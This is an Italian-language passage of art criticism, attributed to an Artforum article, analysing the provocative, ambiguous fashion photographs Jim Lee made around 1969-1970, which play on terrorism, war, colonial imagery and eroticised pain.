PUÓ LA FOTOGRAFIA DI MODA ESSERE DAVVERO RADICALE,
O SOLTANTO RADICAL CHIC?
É questione di punti di vista: ponendo il Desiderio al servizio del Consumo, la fotografia di moda tradisce necessariamente il meccanismo legato al Desiderio, e quindi al suo potenziale radicale. In una sua foto pubblicitaria del 1969 intitolata “Baader Meinhoff” (in riferimento all’omonima organizzazione terroristica tedesca, ndr.), Jim Lee offre a riguardo un’efficace metafora, interpretando un’elegantissima modella nell’atto di imbracciare un mitra. Senz’altro un’immagine di rottura, ai limiti della censura sia da parte dei benpensanti che degli estremisti, in quanto ricorre alla romanticizzazione della violenza terrorista come espediente per la pubblicità di un accessorio di lusso.
Anche un’altra sua immagine del 1970, “Fashion Magazine/Kenya”, rivela un diverso tipo di ambiguità: una modella bionda vestita di tutto punto è distesa su una spiaggia mentre un giovane indigeno seminudo si china a quattro zampe su di lei. Anche in un’epoca in cui i legami interrazziali erano già socialmente omologati, l ‘immagine conserva un elevatissima potenza provocatoria, ricollegabile anche al giorno d’oggi all’ambiguità legata alla facile associazione d’idee col turismo sessuale. La composizione dell’immagine è efficacissima nella sua semplicità: la posa della modella che alzandosi sui gomiti si protende verso il ragazzo e il loro intreccio di corpi e sguardi lascia intuire quale potrebbe essere lo sviluppo della scena, senza tuttavia esplicitarlo. È uno di quei casi in cui la fotografia di moda si spinge oltre i normali canoni, cogliendo di sorpresa l’osservatore, scuotendolo.
Nelle immagini in bianco e nero di Jim Lee ritroviamo spesso questi contenuti, deliberatamente provocatori e carichi di ambiguità. Un’altra sua foto intitolata “Ossie Clark/Vietnam” è forse quella in cui tale meccanismo raggiunge la massima intensità: in essa, un militare in uniforme ed elmetto afferra una modella sontuosamente avvolta in un outfit d’alta moda, in una posa simile a quella di una santa in atteggiamento estatico, come nei dipinti barocchi. In un’epoca al culmine del dramma e della protesta pacifista, quale altro messaggio avrebbe potuto essere più impattante? Ma la morte fa parte dell’estetica legata a queste atmosfere, in cui il senso di repulsione acquisisce una particolarissima dimensione legata al desiderio, come pure il dolore, a un livello più intimo. Ritroviamo questa metafora in altre due immagini, “Ossie Clark/Rocker”, in cui la modella è stesa sopra un “Hell’s Angel” (teppisti motorizzati che negli anni ’70 venivano spesso impiegati come servizio d’ordine nei concerti rock, ndr), come se avessero appena subito uno scontro frontale; oppure in “Bikini/Beachy Head”, dove la ragazza in primo piano distoglie lo sguardo visibilmente angosciato dall’ uomo dietro di lei, vestito di scuro e dall’aria disperata: forse un litigio, oppure una rottura. La mano sinistra di lei è infilata nello slip del suo costume da bagno. La prima impressione potrebbe far pensare che si voglia procurare una sorta di elementare piacere nel momento dello stress; ma potrebbe benissimo essere che il dolore la stia eccitando.
(Tratto da un articolo di Barry Schwabsky apparso su Artforum International nel Maggio 2007)
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